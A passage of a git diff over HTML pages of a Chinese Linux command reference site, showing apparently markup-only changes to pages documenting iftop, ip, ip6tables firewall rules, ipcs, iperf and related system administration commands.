                            hosts on the same network segment)
    -   -b                  don't display a bar graph of traffic
    -   -B                  Display bandwidth in bytes
    -   -i interface        listen on named interface
    -   -f filter code      use filter code to select packets to count
    +   -b                  don't display a bar graph of traffic
    +   -B                  Display bandwidth in bytes
    +   -i interface        listen on named interface
    +   -f filter code      use filter code to select packets to count
                           (default: none, but only IP packets are counted)
    -   -F net/mask         show traffic flows in/out of IPv4 network
    -   -G net6/mask6       show traffic flows in/out of IPv6 network
    -   -l                  display and count link-local IPv6 traffic (default: off)
    -   -P                  show ports as well as hosts
    -   -m limit            sets the upper limit for the bandwidth scale
    -   -c config file      specifies an alternative configuration file
    -   -t                  use text interface without ncurses
    +   -F net/mask         show traffic flows in/out of IPv4 network
    +   -G net6/mask6       show traffic flows in/out of IPv6 network
    +   -l                  display and count link-local IPv6 traffic (default: off)
    +   -P                  show ports as well as hosts
    +   -m limit            sets the upper limit for the bandwidth scale
    +   -c config file      specifies an alternative configuration file
    +   -t                  use text interface without ncurses
        
        Sorting orders:
    -   -o 2s                Sort by first column (2s traffic average)
    -   -o 10s               Sort by second column (10s traffic average) [default]
    -   -o 40s               Sort by third column (40s traffic average)
    -   -o source            Sort by source address
    -   -o destination       Sort by destination address
    +   -o 2s                Sort by first column (2s traffic average)
    +   -o 10s               Sort by second column (10s traffic average) [default]
    +   -o 40s               Sort by third column (40s traffic average)
    +   -o source            Sort by source address
    +   -o destination       Sort by destination address
        
    -   The following options are only available in combination with -t
    -   -s num              print one single text output afer num seconds, then quit
    -   -L num              number of lines to print
    +   The following options are only available in combination with -t
    +   -s num              print one single text output afer num seconds, then quit
    +   -L num              number of lines to print
     
    实例
    iftop           # 默认是监控第一块网卡的流量
    -iftop -i eth1   # 监控eth1
    -iftop -n        # 直接显示IP, 不进行DNS反解析
    -iftop -N        # 直接显示连接埠编号, 不显示服务名称
    -iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0  # 显示某个网段进出封包流量
    +iftop -i eth1   # 监控eth1
    +iftop -n        # 直接显示IP, 不进行DNS反解析
    +iftop -N        # 直接显示连接埠编号, 不显示服务名称
    +iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0  # 显示某个网段进出封包流量
     
    - - + + \ No newline at end of file diff --git a/c/ifup.html b/c/ifup.html index 9fbb696d17..ee0edbd544 100644 --- a/c/ifup.html +++ b/c/ifup.html @@ -9,7 +9,7 @@ ifup 命令,Linux ifup 命令详解:激活指定的网络接口 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);ifup eth0 #激活eth0
    - - + + \ No newline at end of file diff --git a/c/indent.html b/c/indent.html index 61f817b293..2f51b397f5 100644 --- a/c/indent.html +++ b/c/indent.html @@ -9,7 +9,7 @@ indent 命令,Linux indent 命令详解:格式化C语言的源文件 - Linux 命令搜索引擎 - + @@ -235,11 +235,11 @@ indent(选项)(源文件)(-o 目标文件) " class="copied">

    实例

    使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令:

    -
    indent -bs /home/rootlocal/桌面/test.c
    +
    indent -bs /home/rootlocal/桌面/test.c
     

    执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。

    - - + + \ No newline at end of file diff --git a/c/info.html b/c/info.html index 5a6908a102..978f7390e9 100644 --- a/c/info.html +++ b/c/info.html @@ -9,7 +9,7 @@ info 命令,Linux info 命令详解:Linux下info格式的帮助指令 - Linux 命令搜索引擎 - + @@ -207,7 +207,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/init.html b/c/init.html index 6a97215a15..e2648a5877 100644 --- a/c/init.html +++ b/c/init.html @@ -9,7 +9,7 @@ init 命令,Linux init 命令详解:init进程是所有Linux进程的父进程 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/inotifywait.html b/c/inotifywait.html index 17064a97d0..a453a2cc73 100644 --- a/c/inotifywait.html +++ b/c/inotifywait.html @@ -9,7 +9,7 @@ inotifywait 命令,Linux inotifywait 命令详解:异步文件系统监控机制 - Linux 命令搜索引擎 - + @@ -173,8 +173,8 @@ echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/
     **解决方法:** 
    -32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0
    -64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0
    +32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0
    +64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0
     
    #!/bin/bash #filename watchdir.sh path=$1 -/usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path +/usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path 执行输出: ./watchdir.sh /data/wsdata/tools/ @@ -279,7 +279,7 @@ path=$1 - - + + \ No newline at end of file diff --git a/c/insmod.html b/c/insmod.html index 16be1812e9..5b27f93710 100644 --- a/c/insmod.html +++ b/c/insmod.html @@ -9,7 +9,7 @@ insmod 命令,Linux insmod 命令详解:将给定的模块加载到内核中 - Linux 命令搜索引擎 - + @@ -157,7 +157,7 @@ customElements.define('markdown-style', MarkdownStyle);

    从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。

    - - + + \ No newline at end of file diff --git a/c/install.html b/c/install.html index df04151015..4f4f098a6b 100644 --- a/c/install.html +++ b/c/install.html @@ -9,7 +9,7 @@ install 命令,Linux install 命令详解:安装或升级软件或备份数据 - Linux 命令搜索引擎 - + @@ -120,8 +120,8 @@ customElements.define('markdown-style', MarkdownStyle);语法
    install [OPTION]... [-T] SOURCE DEST
     install [OPTION]... SOURCE... DIRECTORY
    -install [OPTION]... -t DIRECTORY SOURCE...
    -install [OPTION]... -d DIRECTORY...
    +install [OPTION]... -t DIRECTORY SOURCE...
    +install [OPTION]... -d DIRECTORY...
     

    实例

    -
    install -d [option] DIRECTORY [DIRECTORY...]
    +
    install -d [option] DIRECTORY [DIRECTORY...]
     

    支持多个,类似mkdir -p支持递归。例如:install -d a/b/c e/f结果和mkdir -p a/b/c e/f一样。

    @@ -175,9 +175,9 @@ install [OPTION]... -d DIRECTORY... cp a/e c #注意c必须是文件。 " class="copied">

    有用选项-D

    -
    install -D x a/b/c
    +
    install -D x a/b/c
     效果类似:
    -mkdir -p a/b && cp x a/b/c
    +mkdir -p a/b && cp x a/b/c
     

    其中d是目录。

    - - + + \ No newline at end of file diff --git a/c/iostat.html b/c/iostat.html index cb6e0eeea7..81de5fc047 100644 --- a/c/iostat.html +++ b/c/iostat.html @@ -9,7 +9,7 @@ iostat 命令,Linux iostat 命令详解:监视系统输入输出设备和CPU的使用情况 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    iostat -x /dev/sda1来观看磁盘I/O的详细情况:

    -
    iostat -x /dev/sda1 
    +
    iostat -x /dev/sda1 
     Linux 2.6.18-164.el5xen (localhost.localdomain)
     2010年03月26日  
     
    @@ -240,7 +240,7 @@ sda1                0.02          0.08
         
       
     
    -
    -
    +
    +
     
     
    \ No newline at end of file
    diff --git a/c/iotop.html b/c/iotop.html
    index 4617b59151..06d40b3c10 100644
    --- a/c/iotop.html
    +++ b/c/iotop.html
    @@ -9,7 +9,7 @@
         
         iotop 命令,Linux iotop 命令详解:用来监视磁盘I/O使用状况的工具 -  Linux 命令搜索引擎
         
    -    
    +    
         
         
     
    @@ -144,10 +144,10 @@ python setup.py install
     

    选项

    -o:只显示有io操作的进程
     -b:批量显示,无交互,主要用作记录到文件。
    --n NUM:显示NUM次,主要用于非交互式模式。
    --d SEC:间隔SEC秒显示一次。
    --p PID:监控的进程pid。
    --u USER:监控的进程用户。
    +-n NUM:显示NUM次,主要用于非交互式模式。
    +-d SEC:间隔SEC秒显示一次。
    +-p PID:监控的进程pid。
    +-u USER:监控的进程用户。
     
    - - + + \ No newline at end of file diff --git a/c/ip.html b/c/ip.html index 985a8c03af..e53d99432f 100644 --- a/c/ip.html +++ b/c/ip.html @@ -9,7 +9,7 @@ ip 命令,Linux ip 命令详解:网络配置工具 - Linux 命令搜索引擎 - + @@ -120,7 +120,7 @@ customElements.define('markdown-style', MarkdownStyle);语法
    ip(选项)(参数)
     Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
    -       ip [ -force ] -batch filename
    +       ip [ -force ] -batch filename
     

    参数

    OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
    -        -h[uman-readable] | -iec |
    +        -h[uman-readable] | -iec |
             -f[amily] { inet | inet6 | ipx | dnet | bridge | link } |
    -        -4 | -6 | -I | -D | -B | -0 |
    +        -4 | -6 | -I | -D | -B | -0 |
             -l[oops] { maximum-addr-flush-attempts } |
             -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
             -rc[vbuf] [size] | -n[etns] name | -a[ll] }
    @@ -294,10 +294,10 @@ default via 112.124.15.247 dev eth1
     10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE
     " class="copied">

    获取主机所有网络接口

    -
    ip link | grep -E '^[0-9]' | awk -F: '{print $2}'
    +
    ip link | grep -E '^[0-9]' | awk -F: '{print $2}'
     
    - - + + \ No newline at end of file diff --git a/c/ip6tables-restore.html b/c/ip6tables-restore.html index 726e99401b..ed8386a74f 100644 --- a/c/ip6tables-restore.html +++ b/c/ip6tables-restore.html @@ -9,7 +9,7 @@ ip6tables-restore 命令,Linux ip6tables-restore 命令详解:还原ip6tables表 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ip6tables-save.html b/c/ip6tables-save.html index f54aac7c06..85dd7a9bab 100644 --- a/c/ip6tables-save.html +++ b/c/ip6tables-save.html @@ -9,7 +9,7 @@ ip6tables-save 命令,Linux ip6tables-save 命令详解:保存ip6tables表配置 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ip6tables.html b/c/ip6tables.html index 3ce4a07f45..f22ca356b4 100644 --- a/c/ip6tables.html +++ b/c/ip6tables.html @@ -9,7 +9,7 @@ ip6tables 命令,Linux ip6tables 命令详解:linux中防火墙软件 - Linux 命令搜索引擎 - + @@ -159,7 +159,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:

    -
    ip6tables -nl --line-numbers
    +
    ip6tables -nl --line-numbers
     

    /etc/sysconfig/ip6tables文件

    @@ -173,19 +173,19 @@ customElements.define('markdown-style', MarkdownStyle);:FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] --A INPUT -j RH-Firewall-1-INPUT --A FORWARD -j RH-Firewall-1-INPUT --A RH-Firewall-1-INPUT -i lo -j ACCEPT --A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT --A RH-Firewall-1-INPUT -p 50 -j ACCEPT --A RH-Firewall-1-INPUT -p 51 -j ACCEPT --A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT --A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT --A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT --A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT --A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT --A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT --A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited +-A INPUT -j RH-Firewall-1-INPUT +-A FORWARD -j RH-Firewall-1-INPUT +-A RH-Firewall-1-INPUT -i lo -j ACCEPT +-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT +-A RH-Firewall-1-INPUT -p 50 -j ACCEPT +-A RH-Firewall-1-INPUT -p 51 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT +-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT +-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT +-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT +-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited COMMIT

    与 IPv4 的 iptables 规则类似,但又不完全相同。

    要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:

    -
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
    +
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
     

    -p tcp表示仅针对 tcp 协议的通信。--dport指定端口号。

    要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则:

    -
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
    --A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
    +
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
    +-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
     

    同时针对 tcp 和 udp 协议开启 53 端口。

    要开启 443 端口,在 COMMIT 一行之前添加如下规则:

    -
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
    +
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
     

    要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:

    -
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
    +
    -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
     

    对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行:

    -
    -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
    +
    -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
     COMMIT
     

    改为:

    -
    -A RH-Firewall-1-INPUT -j LOG
    --A RH-Firewall-1-INPUT -j DROP
    +
    -A RH-Firewall-1-INPUT -j LOG
    +-A RH-Firewall-1-INPUT -j DROP
     COMMIT
     
    :ICMPv6 - [0:0] # Approve certain ICMPv6 types and all outgoing ICMPv6 # http://forum.linode.com/viewtopic.php?p=39840#39840 --A INPUT -p icmpv6 -j ICMPv6 --A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT --A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT --A ICMPv6 -j RETURN --A OUTPUT -p icmpv6 -j ACCEPT +-A INPUT -p icmpv6 -j ICMPv6 +-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT +-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT +-A ICMPv6 -j RETURN +-A OUTPUT -p icmpv6 -j ACCEPT
    - - + + \ No newline at end of file diff --git a/c/ipcalc.html b/c/ipcalc.html index c66626e7a9..2f4c3aa052 100644 --- a/c/ipcalc.html +++ b/c/ipcalc.html @@ -9,7 +9,7 @@ ipcalc 命令,Linux ipcalc 命令详解:简单的IP地址计算器 - Linux 命令搜索引擎 - + @@ -173,7 +173,7 @@ PREFIX=24 BROADCAST=192.168.2.255 NETWORK=192.168.2.0 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ipcrm.html b/c/ipcrm.html index aeefb7b0f8..165e1048ba 100644 --- a/c/ipcrm.html +++ b/c/ipcrm.html @@ -9,7 +9,7 @@ ipcrm 命令,Linux ipcrm 命令详解:删除消息队列、信号集、或者共享内存标识 - Linux 命令搜索引擎 - + @@ -118,16 +118,16 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    ipcrm命令 用来删除一个或更多的消息队列、信号量集或者共享内存标识。

    语法

    -
    ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
    +
    ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
     

    选项

    -
    -m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
    --M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
    --q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
    --Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
    --s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
    --S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
    +
    -m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
    +-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
    +-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
    +-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
    +-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
    +-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
     
    示例

    如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入:

    -
    ipcrm -m 18602
    +
    ipcrm -m 18602
     
    - - + + \ No newline at end of file diff --git a/c/ipcs.html b/c/ipcs.html index bb9c5f90e9..dc1254816a 100644 --- a/c/ipcs.html +++ b/c/ipcs.html @@ -9,7 +9,7 @@ ipcs 命令,Linux ipcs 命令详解:分析消息队列共享内存和信号量 - Linux 命令搜索引擎 - + @@ -123,23 +123,23 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    资源选项

    -
    -a, --all         显示全部(默认值)
    --q, --queues      消息队列
    --m, --shmems      共享内存
    --s, --semaphores  信号量
    +
    -a, --all         显示全部(默认值)
    +-q, --queues      消息队列
    +-m, --shmems      共享内存
    +-s, --semaphores  信号量
     

    输出选项

    -
    -t, --time        显示最后一次操作时间
    --p, --pid         显示创建者和最后一次操作者的PID
    --c, --creator     显示创建者和拥有者的 userid, groupid
    --l, --limits      显示对资源的限制
    --u, --summary     显示当前状态摘要
    ---human           以友好的方式显示大小(eg: 500K)
    --b, --bytes       以字节为单位显示大小(仅影响`-l`选项)
    +
    -t, --time        显示最后一次操作时间
    +-p, --pid         显示创建者和最后一次操作者的PID
    +-c, --creator     显示创建者和拥有者的 userid, groupid
    +-l, --limits      显示对资源的限制
    +-u, --summary     显示当前状态摘要
    +--human           以友好的方式显示大小(eg: 500K)
    +-b, --bytes       以字节为单位显示大小(仅影响`-l`选项)
     

    通用选项

    -
    -i, --id <id>   显示指定ID的资源
    --h, --help      显示帮助文档并退出
    --V, --version   显示版本信息并退出
    +
    -i, --id <id>   显示指定ID的资源
    +-h, --help      显示帮助文档并退出
    +-V, --version   显示版本信息并退出
     

    实例

    -
    ipcs -a
    +
    ipcs -a
     ------ Shared Memory Segments --------
     key        shmid      owner      perms      bytes      nattch     status
     0x7401833d 2654208    root      600        4          0
    @@ -177,7 +177,7 @@ key        shmid      owner      perms      bytes      nattch     status
       
  • ipcrm: 删除 IPC 资源
  • ipcmk: 创建 IPC 资源
  • - - + + \ No newline at end of file diff --git a/c/iperf.html b/c/iperf.html index 5b600ce997..4f577b129a 100644 --- a/c/iperf.html +++ b/c/iperf.html @@ -9,7 +9,7 @@ iperf 命令,Linux iperf 命令详解:网络性能测试工具 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);Linux版本下载地址:http://code.google.com/p/iperf/downloads/list

    安装iperf

    对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:

    -
    gunzip -c iperf-<version>.tar.gz | tar -xvf -
    +
    gunzip -c iperf-<version>.tar.gz | tar -xvf -
     cd iperf-<version>
     ./configure
     make
    @@ -133,7 +133,7 @@ make
     make install
     " class="copied">

    选项

    -
    -f, --format \[bkmaBKMA]   # 格式化带宽数输出。支持的格式有: 
    +
    -f, --format \[bkmaBKMA]   # 格式化带宽数输出。支持的格式有: 
                                # 'b' = bits/sec 
                                # 'B' = Bytes/sec 
                                # 'k' = Kbits/sec 
    @@ -148,21 +148,21 @@ make install
                                # 注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。
                                # 通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。
                                # 如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。
    --i, --interval #           # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
    --l, --len #\[KM]           # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
    +-i, --interval #           # 设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。
    +-l, --len #\[KM]           # 设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。
     -m, --print\_mss           # 输出TCP MSS值(通过TCP\_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况
    --p, --port #               # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
    --u, --udp                  # 使用UDP方式而不是TCP方式。参看-b选项。
    --w, --window #\[KM]        # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。
    +-p, --port #               # 设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。
    +-u, --udp                  # 使用UDP方式而不是TCP方式。参看-b选项。
    +-w, --window #\[KM]        # 设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。
                                # 对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。
    --B, --bind host            # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,
    +-B, --bind host            # 绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,
                                # 这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。
                                # 使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。
    --C, --compatibility        # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。
    +-C, --compatibility        # 与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。
                                # 某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。
    --M, --mss                  # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
    --N, --nodelay              # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
    --V (from v1.6 or higher)   # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
    +-M, --mss                  # ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。
    +-N, --nodelay              # 设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。
    +-V (from v1.6 or higher)   # 绑定一个IPv6地址。 服务端:$ iperf -s –V 客户端:$ iperf -c -V 注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。
     

    服务器端专用选项

    -
    -s, --server                    # Iperf服务器模式
    --D (v1.2或更高版本)               # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
    +
    -s, --server                    # Iperf服务器模式
    +-D (v1.2或更高版本)               # Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。
     -R(v1.2或更高版本,仅用于Windows)  # 卸载Iperf服务(如果它在运行)。
     -o(v1.2或更高版本,仅用于Windows)  # 重定向输出到指定文件
    --c, --client host               # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
    --P, --parallel #                # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
    +-c, --client host               # 如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。
    +-P, --parallel #                # 服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。
     

    客户端专用选项

    -
    -b, --bandwidth #\[KM]       # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 
    --c, --client host            # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。 
    --d, --dualtest               # 运行双测试模式。这将使服务器端反向连接到客户端,
    +
    -b, --bandwidth #\[KM]       # UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。 
    +-c, --client host            # 运行Iperf的客户端模式,连接到指定的Iperf服务器端。 
    +-d, --dualtest               # 运行双测试模式。这将使服务器端反向连接到客户端,
                                  # 使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。
                                  # 这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。 
